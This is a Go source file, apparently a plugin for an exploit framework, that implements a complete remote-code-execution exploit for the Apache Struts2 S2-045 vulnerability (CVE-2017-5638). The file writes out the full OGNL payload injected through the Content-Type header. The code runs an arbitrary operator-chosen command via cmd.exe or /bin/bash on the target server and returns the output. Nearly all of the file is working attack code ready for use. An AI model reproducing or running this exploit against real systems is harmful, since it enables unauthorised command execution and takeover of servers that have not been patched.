CVE-2017-5638
package CVE_2017_5638
import (
"context"
"expgo/plugins/api/req"
"expgo/plugins/api/types"
"fmt"
"net/url"
"strconv"
"strings"
"time"
"log"
)
var (
pluginType = "custom"
vulType = "rce"
name = "CVE-2017-5638"
component = "struts2"
author = "akkuman"
description = "S2-045 远程代码执行漏洞"
references = []string{
"https://github.com/vulhub/vulhub/blob/master/struts2/s2-045/README.zh-cn.md",
}
tags = []string{
"struts2",
"rce",
}
)
var opts = types.NewOptions()
func init() {
opts.String("target", true, "目标", "", func(i interface{}) bool {
target := i.(string)
_, err := url.Parse(target)
return err == nil
})
opts.String("cmd", true, "执行命令", "id")
}
func exploit(ctx context.Context, params map[string]interface{}) types.PluginResult {
target := params["target"].(string)
cmd := params["cmd"].(string)
c := req.NewHttpClient(ctx)
log.Println("准备执行命令")
payload := fmt.Sprintf(`%%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=%s).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}`, strconv.Quote(cmd))
reqCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
resp, err := c.R().SetContext(reqCtx).
SetHeader("Content-Type", payload).
Post(target)
if reqCtx.Err() != nil {
log.Println("命令执行成功或超时")
return types.HitPluginResult
}
if err != nil && !strings.Contains(err.Error(), "unexpected EOF") {
log.Println(err)
return types.MissPluginResult
}
if resp.StatusCode() != 200 {
log.Println("命令执行失败")
return types.MissPluginResult
}
if strings.Contains(resp.String(), "<html") && strings.Contains(resp.String(), "</html>") {
log.Println("命令执行失败")
return types.MissPluginResult
}
log.Printf("命令执行结果: %s\n", resp.String())
return types.PluginResult{
ExtendInfo: map[string]interface{}{
"data": resp.String(),
},
Success: true,
}
}